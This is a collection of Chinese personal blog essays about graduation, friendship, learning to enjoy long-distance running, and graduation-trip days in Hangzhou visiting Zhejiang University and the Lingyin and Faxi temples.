摄影师 | George Pagan III

图源 | Unsplash

写在前面

1737 字 | 朋友 | 情感 | 感触 | 热爱 | 地位

正文

　　这两天，许多朋友都大发毕业感慨。

　　「毕业就是之前一觉醒来可以见到的朋友，明天开始就见不到了。」

　　「我是寝室最后一个离开的，第一次觉得自己这么爱哭。」

　　这些感慨，不是拍毕业照时的兴奋，几乎无一例外全是伤感。

　　“此去经年，应是良辰好景虚设。”

　　我不是不能理解，相反，我很能理解。

　　我在距离毕业还很久之前，就已经尝试着去淡出他们的视野。目的，为了无痛。“走着走着就散了”，有时是种恩赐。

　　当然，我失败了。

　　我把他们看得太重要了。


　　这种现象并不仅发生在我身上。

　　“负责人跟我说晚了，要是早点跟我说，我命都不留，都要留这边。”原来社团一个后辈跟我商讨事情，这样说。

　　“那边呢？你不会放不下吗？”我问。

　　“说实话，那边怎样我真的无所谓。我只在那边学跳舞，没有比较好的关系。我真心地把这边看得重要得多。”

　　我默然。我知道，这次的蜚语性质之恶劣，伤害之深。同时也讶异，这两方在说话者心中的的地位失衡。

　　因为看得很重要，所以一举一动，我都无比关心在意。

　　从这个侧面上说，这与喜欢和爱等价。

　　我想起一件事。原去成都玩乐，会长看过我那八字手链，问是什么意思。我说，那是对我来说，八个重要的人。名字各取一字，四男四女拼在一起的句子，没有什么含义。没成想会长听后唯一一句话是：“竟然不是我们啊？”

　　我一时语塞，想做些辩解。想说那是高中刚毕业的时候买的。然而终究归于沉默。

　　是。上面没有你们。那是因为我那之后还没有买过的同样的饰品。

　　你们对我也很重要。

　　人太多了。没办法做成八字的首饰。

　　我很喜欢这个微妙的人数，它既可以聚成一个团体，又不会打散成很多个小圈子。

　　我们总是以组织和团队的形式存在，但每一个人都无比重要。

　　我有时候想过，每次看到的都是那几张脸，听到的嗓音都熟悉得想吐，对方的反应也能猜得八九不离十。那么，我究竟喜欢他们吗？


　　我曾有段时间无比沮丧，怀疑一切。甚至怀疑自己是不是真的热爱街舞。

　　某天，我看见我最崇拜的一个老师，发了一条动态，只有一句话：“Swen 今天不 Dance。”附几张图，老师和他的朋友们看风景，聚餐，疯玩。

　　说来好笑，我那一瞬间想通了。

　　那位老师，对于舞蹈的热爱，应比我大得多。虽不至于天上地下，但应该达到了山海之距。老师几乎把跳舞当作他全部的生活，包括工作、爱好、特长和努力方向。

　　老师可以有一天不跳舞。

　　放一天，自己的热爱也不会跑掉。 毕竟已经相处那么久了。

　　现在看到街舞，我仍然很兴奋。

　　现在看到他们，我依然很开心。

　　这就是热爱，这就是喜欢。

　　我确确实实地，是喜欢着他们的。


　　《我想要两颗西柚》中说：“‘和解’原来就是意识上抬的那一下头。”

　　这不仅仅限于和解，它能广泛应用到很多事情上。

　　心冷的人，抬头，会感受到暖意；

　　迟钝的人，抬头，能想起以前从未在意的细节；

　　怠惰的人，抬头，或许就开始努力学习工作。

　　很多事情，看法的改变，或许仅仅是因为，自己把自己亦或他人放到了那个位置。

　　如今，我把他们放到了重要的位置。

　　我文章起笔的那些朋友，也把他们的朋友放到了重要的位置。

　　我抬过头，所以知道抬头的感觉。


　　写到这里，我忽然想起雪利。她是唯一一个，我明确表露过好意的女孩子。她亲耳听我说这件事时，还好奇地问：“因为‘雪’吗？”

　　我喜欢雪。不过我说不是。

　　毕业时，我给她也写了一封毕业饯别函。三十八封之一。

　　后来，她发语音大笑，说我很用心，她很喜欢，她的室友们也一致觉得我很有诚意，都很羡慕她。

　　我笑了笑回说，喜欢就好。

　　过了两天，她问我，怎么她某一个朋友也有。

　　我说，对我重要的人都有一封。

　　“这样啊。好吧。”她说。

　　她曾经明确地对我表达过：她知道我对她抱有好意这件事，但她不会做出任何反应。

　　我说，我知道，也从来不期待，只是单纯告诉她这件事，觉得她会开心，所以说了。

　　那种淡淡的好意，并未达到“追求”那种地步，需要你死我活地把人搞到手。

　　她也说：“你真是个怪人。”

　　她来问别人为什么也有的那一瞬间，我就在想： 特殊地位，似乎从来都对人有一种中毒般的魅力啊。

　　被看得重要，被喜欢，被爱。每个人都想要获得这些。就算已经明确拒绝了，但还是想要。

　　人真是贪婪呢。

　　等级都是一步步上升的， 但在感情这件事情上，最基础的“重要”就已经暴露一切了。


　　我把他们看得很重要，所以，我喜欢着他们。

　　我把你们看得很重要，所以，我爱你们。


　　南国微雪 Miyuki

　　2023 年 7 月 4 日

毕业旅行第七天

封面图

摄影师 | hu huhang

图源 | Unsplash

写在前面

1892 字 | 旅行

正文

　　“啊啊啊……我拿错了。灵的男朋友忽然伸手拿走了那张卡。

　　我还在原地懵圈。

　　“你们有预约吗？”保安问我们。

　　我看向闸口另一侧的灵，灵似乎有些无奈了的样子，又刷卡出来，问什么情况。他似乎是拿错卡了，给我的这张是挂失后找到的旧卡。

　　于是我们就这样，被挡在了浙大的东一门外面。


　　灵原计划就带我逛一下渐大。我问浙大好混进去吗，她说好混。

　　“校门那个人脸识别特别不好用，第一次刷脸基本都是失败，所以我们好多人都直接刷卡，我也打算这么把你弄进去。”

　　“那卡从哪儿来？你的吗？”

　　“肯定不是我的呀，我男朋友的卡。”

　　我震撼。还能这么来的？

　　今天早上，我乘地铁去学校外面找她。她试图偷袭我，但是没有得逞。三人一起去“堕落街”吃早饭。虽然我认为那条街用上“堕落”一词还差点意思，不过饭还挺好吃。

　　随后便发生了上面那一幕。

　　最终，我们还是从东二门混了进来。为了避免人脸识别记录我的面部锚点导致失败，我还专门戴了口罩。但灵说，听到我第一次仍是“验证失败”时，心里还是一沉。

　　所幸，还是进来了。


　　浙大很大，也很漂亮。

　　灵带我参观了各种各样的地方，有一侧离离盛开的夹竹桃小路，也有饱经风霜的旧教学楼。

　　北区管理学院一侧的风景真的非常漂亮，尤其是靠近求是大讲堂那边。地势开阔，建筑星稀。绿化、湖泊和桥梁一并映入眼帘，伴着不时清凉的微风，让人心旷神怡。浙大内部的设计比杭州的设计整体要好得多。大概是长方形地形，也是平原，容易规划之故吧。

　　也正是因为长方形地形，我迷了路。灵带我依次走过了四条边，但我完全没有这种感觉。方向感完全迷失。

　　“你为什么方向感这么好啊……”我扶额。

　　“毕竟我在这里生活了四年嘛。“灵笑笑。

　　“说起这个，你知道每个学姐学长都会给新生推荐一本书吗？”灵忽然说。

　　“什么？”

　　“《浙大夜惊魂》。”

　　我笑出声来。听灵说，那本鬼故事的地名都是浙大的真实地名。

　　“那你看过吗？”

　　“看过，大四看的。”

　　“有感觉吗？”

　　“还是有一点吧。”灵的语气里有止不住的笑意。

　　我感觉，在她这里，比起恐怖故事录，可能更像笑话集。毕竟已经很熟悉了。要是拿给新生看，说不定真有人吓得大学四年不敢去那里。

　　浙大有两个图书馆，一个公共馆一个医学馆。两个馆灵都去过。还有很多个集中食堂，除此之外，部分教学楼里还有食堂。据说是因为浙大课表过于阴间，12:30 下课，1:30 又要上课，才设了这些食堂。超市、理发店和健身房则更不必说了。我好奇问灵会不会去健身，她跟我说，有时会在宿舍做瑜伽。我十分震撼。不过想起昨天她说，她曾经环西湖骑过自行车，一切竟又合理了起来。

　　今天风很大，空气也不太好。灵途中揉眼睛，我问她怎么了，她说有东西进眼睛去了。确认没事之后我还笑她，结果我自己眼睛也进东西了……反过来也被她笑了一顿。不过也托风所赐，我也有幸看见她头发和刘海被吹起来的样子。很漂亮。

　　出了校门，她想买点水果，于是我们还一起去了水果店。

（照片是全脸，所以弄了张贴纸。希望灵不会打我……）

　　灵也喜欢芒果。

　　最后分别时，我没有问她要抱抱。

　　一来她现在有了男朋友；二是，很久很久之前，她曾在某次拥抱之后提出了抗议，说她受不了这样亲密的行为。于是自那次过后，我便再没有提过这样的要求了。

　　灵下午要开组会，而且必须亲自到场。她下午也很想休息，因为昨天陪我走了两万多步，今天身体有些接受不了。逛校园的下半场因此还骑车。

　　她建议我下午一个人逛一逛小河直街，但是遭到了我坚定的拒绝。

　　“我来杭州，就是为了来见你。没有你，杭州我都不会来。更何况这次还要我一个人。” 我说得毫不留情，也不知道她会不会觉得有些受伤……

　　“一个人也可以逛街看风景呀……”她反驳我，只是声音很小。大概是真要一个人做这些，她也很没有底气吧。

　　就这样，我们分开了。

　　路上，一个出差空余想来浙大参观的阿姨找我问路。她没有预约，我就直接请回了。找我问路，真的假的……我都第一次来。她原话说是，我脖子上挂相机，应该对这附近很熟悉。我竟无言以对……

　　回了宾馆，两点钟。时间还很长，本想睡觉，但因为给灵修片，还有家里打来的商讨家事的电话，这个想法完全没能实现。

　　宾馆附近居然没有饭馆，走了好远的路才找到，这让我对杭州的印象更恶劣了。而且那家煲仔饭还不好吃……

　　坦白说，离开灵时我还挺难过。一种莫名的难过，我找不到理由。

　　临近睡觉前，还有一个自称我工作单位的前辈兼直系学长给我发短信，因为我被诈骗过，所以这条号码归属地雅安的短信让我恐怖又害怕，同时又有些好奇。不过这些就是另外的事情了。

　　所幸，晚上睡得很香。

　　第七天便在五味杂陈中度过了。


　　南国微雪 Miyuki

　　2023 年 6 月 27 日

写在后面

　　杭州真是绣球花的世界。所到之处，无不绣球。

　　部分照片为手机拍摄，原图直出，未经调色。

长跑

封面图

摄影师 | Filip Mroz

图源 | Unsplash

写在前面

2014 字 | 运动 | 经历 | 推荐

正文

　　我讨厌跑步。

　　体育课，校园健身跑。我没跑及格。整个学期，四个多月，拼了老命只跑了 54 公里。100 公里满分，60 公里及格，所以，我谎报了。同我一起的室友，38 公里。五十步笑百步，我还笑了他好半天。

　　为什么世界上会有跑步这么反人类的东西？我不理解。

　　马拉松是我最无法理解的比赛。全程 42.195 公里，就算行程砍半，也有 21.0975 公里……

　　一次性跑 20 公里，会死人的。人类发明的交通工具，大好的工业革命产物，为什么不用呢？

　　我是个跑 2 公里就会残废的运动废物。

　　我犹记得，大二，两个宿舍的人倾城而出，只是为了体育不挂科。

　　我是所有人中，跑得最慢的那一个。说好跑 2 公里，他们都结束了，我还在跑。

　　他们超了我整整半圈。 我依然呼吸粗重，气喘如牛，面色梗红，感觉在鬼门关闯荡。

　　每次跑步难受得要死。

　　我跑完，拖着身子去见他们。他们已经尝试着做完三四轮引体向上了。见我才过来，所有人都在问：“你为什么才跑完？”

　　我哪儿知道啊……你们跑这么快，又不等我。

　　我真是恨透了跑步。


　　什么时候开始改观了呢？我想想，应该是大二下学期。

　　在此之前，我一直是这个想法。

　　而从这之后，我开始了分水岭之后的大学生活。

　　大学期间的成长，对我来说不是一个过程，而是一条清楚的线，一个明显的点。

　　从 2021 年 3 月开始到 2023 年 6 月，这条线。

　　从我决定心情不好就去跑步，这个点开始。

　　我的所有好运，全从此刻开始。 但心情不好去跑步，无论我何时回头看，从来都是无奈之举。

　　彼时的我，没有遇见那群可爱的人们，所以跳舞简直不能看；彼时的我，还经常消沉压抑，无处释放；彼时的我，最习惯做的事情，便是攻击自我。

　　那时候，我从内心深处觉得，这样一直下去，就完蛋了。

　　总得找个方式宣泄。跳舞这个选项挂掉，还剩什么呢？

　　跑步吧。跑步最简单，最不需要脑子。

　　这个决定简直不能再草率了。 “动机不纯”。


　　我并不喜欢跑步，而只是用它消磨我不开心的时间，所以，自一开始就并没想过跑多快。

　　我仍然记得那个下午的情景。我慢跑完三圈，仍然喘着气，挣扎着躺在操场上。睁眼，是无尽的蓝天。

　　湛蓝如洗的天空，安静地悬在远方；偶尔一两朵云缓慢地踱着步子，慢悠悠地从一头挪到另一头；耳边传来篮球的坠地声，声音此起彼伏；还有一些笑，从晒太阳的陌生人们口中传来，声音模糊却悠扬。

　　我安静地听着自己心跳声，任由过载的心脏平息下来。终于不那么喘了，我却在这散漫的氛围中，迷糊地睡着了。太阳在浸没山林前，最后一束阳光照醒了我。

　　我忽然觉得，跑步也不是那么坏的事情了。

　　没有必要去跟谁争，跟谁抢，比谁快，比谁远。

　　这是我第一次，不从体育竞技的眼光看跑步。这时我发现，它如此简单，也远没有作为比赛时那样面目狰狞。

　　只要学会了走路的人，都会跑步。我们所需要做的，只是简单地将步数叠加。而这个操作，只需要两步：迈左脚，迈右脚。


　　真正喜欢上跑步，是在夏天的一个夜晚。

　　那晚风很大，山雨欲来。我在操场上慢跑，边跑边吹着风。

　　夏天，夜晚，风。

　　风灌进袖口，无数的树叶飒飒作响。慢跑，耳边却也有猎猎的声响，仿佛自己如闪电般飞奔。不时有几滴雨落到脸上和手臂上，然后被风吹干。

　　操场上许多人怔在原地，似是犹豫要不要走。

　　雨渐渐大起来，由不时的几滴，变成了蒙蒙细雨。很多人涌向操场出口。

　　皮肤上，雨滴带来的无尽凉意，以及周围人们纷纷打伞躲雨的反应，让我觉得，我很勇敢。

　　那一刹那，我仿佛有了无尽的自由。

　　若是身体是平时的节奏，平时的感觉，我大概也会感觉冷吧，会想着打伞，或者回去。

　　跑步时，身体的燥热和风雨的凉意，正好相抵。

　　那一瞬间，我喜欢上了跑步。


　　这篇文章，写于一次半马之后。首次，我不知是不是唯一一次，但这不重要，重要的是跑下去。

　　用来消磨时间的“不纯”动机，如今却成了我坚持长跑的最大理由。

　　心情不好的时候，去跑一跑。跑完心里全是坦荡。

　　有时只跑了一两公里，身体就有些岔气了，我甚至会觉得，是不是有些不够；有时工作到很晚，一看时间不够自己跑了，干脆便不去了；有时陪着朋友跑，总是会被对方打断思绪，便也渐渐一个人了。

　　这些都是长跑的坏处，但也是它的乐趣。

　　长跑是属于你的时间，只属于你；任由思绪发散空想，或者看看户外路人的反应； 最重要的是，长跑时的你，每一步都有意义。

　　一公里，思绪还没发散开便要结束，总有夭折之感；

　　三公里，身体刚习惯了运动节奏，停下来有些可惜；

　　五公里，你可以结束，也可以选择继续跑下去。

　　能给长跑设限的，只有你自己。

　　慢慢地，你会发现，已经能跑到这么长的时间，这么远的距离，但自己完全没有知觉。

　　这是件很快乐的事情。

　　长跑最简单，简单到只需要两步，却最充实，充实到每一秒、每一步。


　　短跑总带着竞争，长跑才能让自己享受。

　　如果你没有体验过，不妨去试试。

　　带上音乐，带上一块表或者手机。不要看时间，也不用看距离，用比普通人步行还要慢的速度去感受。最好挑一个刮风的日子，出门慢跑。

　　那时你会发现，或许长跑是世界上最棒的运动。

　　毕竟，不去尝试，永远也不会知道，在长跑路上吹着风，是一件多么舒服的事情。


　　南国微雪 Miyuki

　　2023 年 6 月 28 日

毕业旅行第六天（2023 年 5 月 23 日）

封面图

摄影师 | The Whale

图源 | Pexels

写在前面

11408 字 | 旅行

寺庙内庄严肃穆，禁止摄影，故而没有影像。

体裁为半纪实文学，部分语言为文学艺术加工。

正文

　　当我见到灵，举起相机对焦时，她还没反应过来。差点也没认出我。

　　“你不会一直在这里转圈圈吧？”我看她从地铁承重柱那边绕过来。

　　“对啊！”她觉得没什么的样子，“等你的时候也没有事做嘛。”

　　我想象了一下那个画面，感觉有些莫名好笑。同时也觉得十分可爱。这刷新了我对于她的认识。 她在我印象中，一直认真而努力，而在手链上的那八个人中，她所象征的品性，也是“努力认真”。

　　我本以为，颠覆印象到此为止，没成想却才拉开帷幕。

　　从黄龙体育中心 B 口出地铁站，开始了旅行的第六天。

　　同样开始了，温柔、惬意与安心的一天。

　　上灵隐寺专线公交车，随她坐稳，她忽然问了一个问题：“你坐没坐过杭州的公交车？”我一愣，想起上午赶车，便点头。

　　“那就不用了，本想说带你体验一下。 杭州的公交车突出一个野蛮。 ”灵笑着说。

　　我当即笑出声来。

　　“野蛮”是一个很有趣的形容，也正好恰当合适。杭州的公交车经常突然起步，还会急刹。或许是路面不平，亦或车辆工程有问题，转弯离心力极大，能将人摔得颠三倒四七荤八素。早上坐公交车，水放邻座，直接甩飞到地上，滚到了最后一排。并且“野蛮”并非个象，普遍存在。之后的好几路公交车都是如此。

　　杭州的地铁也特别不方便。 若在成都，不论住的地方有多么偏远，附近一定有一个地铁口，并且距离最远不过步行 20 分钟。但在杭州，一切都不成立。我下榻的宾馆位于一条双向四车道附近，照理说，应该有地铁口才对。然而，最近的绿汀路地铁站，我需要坐半小时的公交车才能抵达。很多地铁口并不架设在密集而需求大的位置，相反很偏远。导致了，就算住在不太偏的生活区或居民楼，也还是需要坐公交车。有些地铁入口还在商业街的纵深处或拐角处，找起来很困难，容易迷路不说，导航还不好用。

　　我把这个体验给成都的一个朋友说了，他笑笑说：“很正常，那是因为你已经看过成都的了。成都的地铁设计在全国都能排上号，除了北上，大概就是成都了。”

　　杭州的景观和绿化也给人一种杂乱无章之感（除了第二天看到的浙大内部还可以）。绿化不好的城市总予人一种钢铁洪流巨兽的冰凉与冷漠。杭州也如此。

　　这便是杭州给我的总体观感。与印象中的“苏杭”二字，落差极大。


　　灵对于今天的安排，是上午灵隐寺，下午法喜寺，临近傍晚时去西湖。

　　“看来今天是信奉佛教的一天呢。”我笑笑说。

　　往灵隐寺的路上，车流很大，近乎水泄不通。而公交车也一如既往地野蛮。由于手上拿着相机，便聊起这个话题。

　　灵在这个话题上似乎颇有感触的样子。她说，她室友有一台相机，出片效果很好。据她说，色彩饱满而鲜活。自打用了以后，便不大喜欢用手机拍照了。她还给我看了一张室友给她拍的照片，上下滑动很久才找到。

　　我无意间看到图库里的缩略图，有很多单人照与自拍。我连忙别开头，看向车窗外。

　　不敢看。

　　我无法形容那一瞥的惊鸿。那无意的一眼给了我带来了直接而深度的震撼，迫使我在她寻找的这期间，思考起了以前从未想过的问题。

　　灵也是一个人，这个事实简单到让我忽略了。

　　四年前的今天，我们还在为高考奋战。那三年的坚韧，让她在认真、坚持和努力这几点上，成为了挂在我天空中闪耀的星光，我一直拼命追赶，想要抓住她的影子。

　　这样的印象，一直持续到今天。我似乎今天才鲜明地感受到她为“人”的那一面，而非一个性格，品质或符号。

　　原来我一直身陷形而上学的囹圄。

　　我曾在《毕业旅行第三天》中说过，我太习惯于去性别化与人交往。今天，我又感受到了这一困惑。并在此基础上，新增了另一不解： 我真的将朋友们当成人了吗？还是说，仅仅是一个有我所羡慕、所渴望、所钦佩和所追逐的一个目标？

　　我那一瞬间还很想逃跑。每当我感受到有强烈异性气息时，就会害羞，而后就会这样。 或许，是自己潜意识中一直认为，自拍照多，是女性的专利吧。

　　我望着车窗外缓慢移动的树林，一直漫无目的地想着这些发呆。

　　“看！就是这张。“灵举起手机。

　　印象中，那是一张她身袭浅黄长裙、欠身站在绿色草地上对着镜头笑的照片，记不清楚了。

　　不敢细看。

　　我从来没看过她穿裙子的样子。今天她也是外套加牛仔裤的装扮。这给我一些安慰。而照片里的她，似乎在一个离我很遥远的世界里。

　　幸而，眼前的灵，与我同在一个世界。

　　写到这里，我忽然很难过，想哭到几乎无法落笔。大概是意识到了什么吧。

　　我无意而持续的去性别化生活方式，或许只是我害怕性别。害怕接触背后从根源上的不同，害怕经历由这些不同带来的麻烦、尴尬。同时也羞于面对这些问题。

　　我经历了太多太多因为避嫌带来的感情终止，而这压根不是我们友情所带来的问题。

　　害怕意识到这些不同之后，我抑或对方便各自站到两个不同的世界，相互向对面索取些什么；而非两人亲密无间、互相帮扶，朝着同一个目标前进。

　　习惯了逃避这个话题，习惯了逃跑，而只是因为太过于在意，害怕麻烦。

　　很讽刺不是吗？

　　晚上与灵一起吃饭时，我终究也对她开口说。

　　“我现在一直把你们当做最好的朋友，并且未来很长一段时间都是。不过我也明白，你们终究有一天会离我而去。”

　　灵在那边默然点头。

　　那张照片色彩的确很好。我猜想应该是富士相机，于是便开玩笑说叫她紧紧抓住她室友。富士相机很贵，而“富婆”可不多见。

　　这些杂乱的思绪，我究竟开不了口。要论其中缘由，我想，大概是真的把她看得很重要吧。我无法想象没有与她成为朋友的那些日子，所以对那个无法避免的未来，想要能拖多久就拖多久。

　　去灵隐寺的路上，灵与我说，姐姐要她买十八籽。正好我要来，于是也便有了这次的行程。

　　十八子是十八种菩提子，由一根红绳串在一起的佛珠手串。那十八种菩提子，大概就是象征平安喜乐、幸福安康之类的东西吧。

　　“你去过灵隐寺吗？”我问。

　　“去过。不过灵隐寺没去过。”

　　“什么东西？啥意思啊？”

　　“灵隐寺是一整片的景区名，外面其实叫飞来峰。灵隐寺庙的话，没去过。”

　　灵在带我看飞来峰的佛像时，才告知我灵隐寺需要单独买票。我觉得这事挺神奇。

　　飞来峰有很多佛像，全是石刻，形态各异，阴阳刻均沾。有些佛像稳于岩壁中，似乎在凝视苍生。大多石像饱经风霜，几乎难以辨认。人形之上，沾满苔藓与蛛丝，有的佛像或四肢或躯干还掉了些石块，更显年代久远。

　　佛，确实能给人一种肃穆的感觉。或许有些佛在笑，如弥勒，但置身佛像面前，决然笑不出声来。当然，和朋友开玩笑除外。


　　买票，进灵隐寺。

　　我的学生证永远都只有买票时才有用，这次是最后一次了。灵的学生证比我的薄，也比我的稍宽一些。

　　我把身份证与学生证还给灵。那一瞬间，我想起慧慧，她也是干脆在我手机上一起买的动车票。就是说，她将身份证号码留在了我这里。

　　这份信任，已经说明了很多。而对于她们的信任，我由衷地开心，也感觉到了一份重要的责任。

　　身份证和号码，毕竟是很重要的东西。

　　进单向门时我很想笑。那门禁每进一个人，就会报一声“阿弥陀佛”，进了多少人就报了多少声。当天人又多，于是佛语此起彼伏，声调都还一致，感觉微妙又搞笑。

　　门禁后不远便是正殿前广场。广场设鼎焚香，自我进门起便一直香火缭绕。每个人进门都可以免费领三柱香，我和灵自然用掉了。祈愿时，我内心并没有明确的诉求。像长跑时那样，完全放空，算是浪费掉了一次许愿机会吧。

　　我并不后悔。目前的生活，我已经相当满足了。再奢求更多的东西，大约物极必反。

　　秉香拜佛时，我竟十分难为情。我大概从心底里，认为这是一种不堪吧。我十分不习惯于有求于什么东西的样子，哪怕是佛。

　　第一个正殿是大雄宝殿、大雄宝殿对面是天王殿，中间夹着焚香广场。天王殿楹柱对联十分有意思，我很喜欢。

　　“立定脚跟，背后山头飞不去；执持手印，眼前佛面即 如来[1]。”

　　这联下联最让人喜欢，十一字就营造了一种宏伟安宁的心境。并且，根据对联的词性对仗、意义相近相反，“ 如来[1] ”还有双关之意。一意至尊佛祖释迦牟尼，一意应当到来。不过这也仅是个人解读罢了。

　　沿天王殿和大雄宝殿两点划直线，其中轴往上依次是药师殿、藏经阁和严华殿。每过一殿，台阶都往上，不清楚是纯地理因素还是象征什么。所以严华殿是最高的建筑。但这殿并没有给我带来多大感触，最让我震撼的，反倒是药师殿。

　　印度佛教自天竺传入内地，分为两派： 汉传佛教和藏传佛教 。这分类对应了汉人和藏人。虽然各寺庙都设有药师佛以供祭拜，但是似乎总不如 如来[1] 那样威震天下。 名义上，东方药师佛，中央释迦牟尼佛，西方阿弥陀佛地位并列 ，但世人拜祭时，多只祭祀后两者。释迦牟尼佛教化世人，普渡众生，是一教之主；阿弥陀佛掌握生死，引渡生灵至西方极乐世界。药师佛似乎远不如他们，格局不大。因此佛像庙宇也远次之。

　　这是我至今见过的最大的药师像，也是最大的药师殿。

　　十几人高，仰头仍需眺望。药师佛中央供奉，约三四根承重梁柱粗细，绕行一周需要一分多钟。抬头仰视便能看见药师佛安静凝视的目光。

　　我喜欢药师。相比于 如来[1] 和阿弥陀佛，药师更具象，更针对性，更现实，活在当下。 而前二者似乎总有些虚无飘渺，活在未来，令人捉摸不住。而且 生命、疾病与伤痛、健康，总是令人敬畏的。

　　这样雄伟壮观的药师像，令我良久说不出话。

　　其实其它殿的佛像与药师一样庞大，然而印象深的，唯此。

　　我也喜欢古建筑。 有些震撼只有古代文化才能带给我。飞檐斗拱、流苏、瓷器铜器、阶陛、亭台楼榭、篆书、汉服等等等等，其中古建筑最盛。 它最真实，触摸上去，仿佛真的有来自隋唐宋清的气息一瞬间穿越而来。

　　有些古建筑，真的能存在这样漫长的时间。而汉服下面的人，却早已失去了古时的文化与精气神了。

　　古建筑风的寺庙与庞大的佛像珠壁交挥，更显肃穆庄严。

　　只是，里面的法器（姑且称那些商品为法器）是真贵得离谱，看了让人七窍流血。“结缘价”最高十万，最低两千……本来看见这些饰品就走不动路，还不让拍照……

　　从灵隐寺出来，我们专业的灵导游几次带错了路。路上吐嘈她，她尴尬笑笑的样子真的很可爱。

　　午饭随便在景区解决了。“随便吃碗面就行了。”她说。 我还真信了她，点了面之后眼睁睁地看她点了饭……


　　约莫一两点，两人乘车去上天竺法喜讲寺。

　　进门，灵与我说，法喜寺最灵的是求姻缘，叫我多拜一拜。

　　“别光说我呀，你自己呢？”在一顿激烈挣扎未果后，我企图祸水东引。

　　“我？我不用拜啊……”灵在前面领着路，回头笑笑。

　　“哦，这样啊。”

　　我没太在意，继续跟着她走。

　　“等下，哈？停停停……你刚才说啥？”我才反应过来，愣了一下。

　　“我说，我不用拜！”她笑。

　　“几个意思啊？为啥不用啊？”我蒙了。

　　不会吧。

　　“本来想晚上跟你说的，“她继续笑，“不过还是旧人就是了。你看过那封信应该也就懂了，时间早晚而已。”

　　灵在上午去灵隐寺的公交车上塞给了我一封信。她说，写完很久了，本来想寄，一直没什么时间。后面听说我要来，就不寄了，当面给我，还省邮费。

　　可是，我亲爱的灵小姐，你对一个千年木头、铁树成精的人是不是有点过于乐观了…… 我事后看了一下那封信，差点还真没懂什么意思……

　　“啊……？”我震撼得说不出话。

　　“就是这么个情况。”

　　“啊……？”

　　“晚上吃饭再跟你说嘛。”

　　“啊……？”

　　“你下巴都要掉下来了……”她似乎有些哭笑不得。

　　说实话，得知这个消息的一瞬间，我的内心不受自己控制地，感觉自己和她之间有了隔阂。 祝福是肯定的，而心里有些不舒服也是确定的。

　　她已经是那个世界的人了。

　　我知道从此刻开始，那个日子，不久之后就会来了。 虽然我衷心希望它不存在，但一般情况下，它是存在的，安然矗立在某个时间点。

　　法喜寺在灵隐寺的上游，距离不近，约莫如此，人也少了许多。门票比灵隐寺便宜，进门依旧有三柱香。连供奉释迦牟尼佛的大雄宝殿都差不多。

　　正殿前也设鼎焚香，但烟雾比灵隐寺小很多。用那三柱香时，我内心依旧没什么愿望与波动，大概从内心深处便已经放弃了吧。

　　我想起电影《绿皮书》里的一句话： 朋友是我在枯燥乏味的生活里唯一的解药。

　　法喜寺的设计比灵隐寺优雅宁静许多。如果说灵隐是声名大噪的知名景观，远近闻名；那么法喜寺更像一个藏在深巷幽街的小店，不急不躁，优雅宁静，以宽容的心态拥抱每一个前来的人，而不刻意去比较什么。

　　法喜寺内还有人养鸽子，时常能看见鸽子从参天古树的一枝飞到另一枝。

　　自然与人文的融合几乎臻至完美。

　　法喜寺里有个地方我很喜欢，某个大殿前，大片大片的装饰绳索，上面系着密密麻麻的红色吉祥结。我不清楚这种地方是否有术语，但看起来颇有韵味。不过拍的时候正值艳阳，背景又是亭台阴影，HDR 景观很难拍好。

　　寺庙内自进门便有一阵若隐若现的音乐声。专属于佛门诵经吟唱的歌曲，经典，辨识度也高。我真的非常喜欢这个声音。


　　法喜寺中，我印象最深的，只三件事。

　　第一，最好玩的，便是硬币神龛。

　　硬币神龛位于两座殿堂中间，一簇台阶之上，石制，许多部位镂空，有两人高。神龛分三层，每层从任意方向看，都能看见许多硬币半脚龛内半脚悬空的样子。看不见龛内，硬币只能从镂空的龛壁抛进去。越往上，金字塔状的神龛留与投掷的镂空口越小，难度越大。

　　“我突然想起来，我好像有硬币。”我说。

　　“你怎么还有这种东西？”灵问。

　　“不是正规的货币啦，是抓娃娃剩下的游戏币。”

　　“啊……？”这回轮到灵瞪大眼睛。

　　“说来话长，先不说这个，”我觉得代币怎么来的不重要，“要不你来试试？你能扔进去吗？就一次哦。”

　　灵眼里闪过一丝狡黠，开口说：“你来嘛，毕竟这次你是客人，我看你扔。”

　　我笑出声来。

　　“你扔我就扔。“我从钱包里又掏出一枚游戏币。

　　“啊……？”她一副难以置信的表情。

　　事情的发展似乎超出了她的预料，她捏着那枚游戏币哭笑不得。

　　“扔游戏币上去，佛祖不会骂我们吧？”我觉得有些好笑，问灵。

　　“应该……没问题吧？哎呀，管他的呢，反正都是币，佛祖应该不嫌弃。”灵笑笑说。

　　灵看看我，我看看灵，灵好像放弃了，开始扔硬币。嗯，一个完美的抛物线，砸到龛壁，掉下来。

　　两个菜鸡，来来回回加起来扔了十多次，才把两枚代币扔进去。

　　途中她先于我进去，然后一声闷响，又有硬币掉下来。她拾来一看，发现是正规的五角钱硬币。我们都以为没扔进去，但似乎是扔进去了，但又砸了枚硬币下来。

　　“那怎么办……”灵问。

　　“扔回去呗，”我大笑，“加功德呢！”

　　灵也笑。

　　她扔了两次，我只扔了一次，我还是最后扔进去的……

　　我好菜。

　　“嘿嘿，你不行啊。”灵还嘲笑我，呜呜呜。

　　第二，便是灵要求的，唯一那张想拍的照片。

　　灵在网上找的攻略，其中有很多类似的图片，很受欢迎的样子。她也想拍一张。

　　那是一张以法喜寺黄色墙面作景，她侧身合十作祈祷状的照片。看起来样子虔诚。

　　我在调相机参数的过程中，她似乎有些等不及，歪头看了我一眼，这副样子被我不小心拍下来。我连着下一张正片不停地给她看。歪头，回头，歪头，回头，看起来非常可爱，感觉可以做成一个 gif 动图。

　　“你干嘛啊，有病啊。”她笑骂我。

　　拍摄过程中，我再次注意到，她编的头发是真的好漂亮啊。

　　灵在灵隐寺就与我说，她一个室友很会这些，今天的头发也是那个室友编的。听她说这些，就觉得她好幸福。

　　第三，就是最后从法喜寺最高处往下走，下楼梯时她一直很好奇的那个问题。

　　“灵小姐，我觉得你变化真的好大啊。”我感慨。

　　“真的吗？哪儿呀？说说看？“灵好奇。

　　“这种东西你自己不应该知道吗？”我笑笑调侃。

　　随后她便正色解释，说变化这种东西，自己很难察觉，要旁人来看。

　　这种时候，她也会认真解释，这一点很可爱。我想，若非如此，我也不会喜欢上她的认真，把这作为我那时追逐的目标吧。

　　除此之外，还喜欢她的独立。不过这便是下文了。

　　“真那么想听？”我嘿嘿笑。

　　“真的，说嘛。”她急不可耐。

　　“保密。”

　　逗她就像逗小猫一样，好好玩。虽说她在一边生闷气。

　　“你确定你要听？”我沉默半晌。

　　“还要我说吗？快讲啦。”她还是那样。

　　“还是保密。”我大笑。

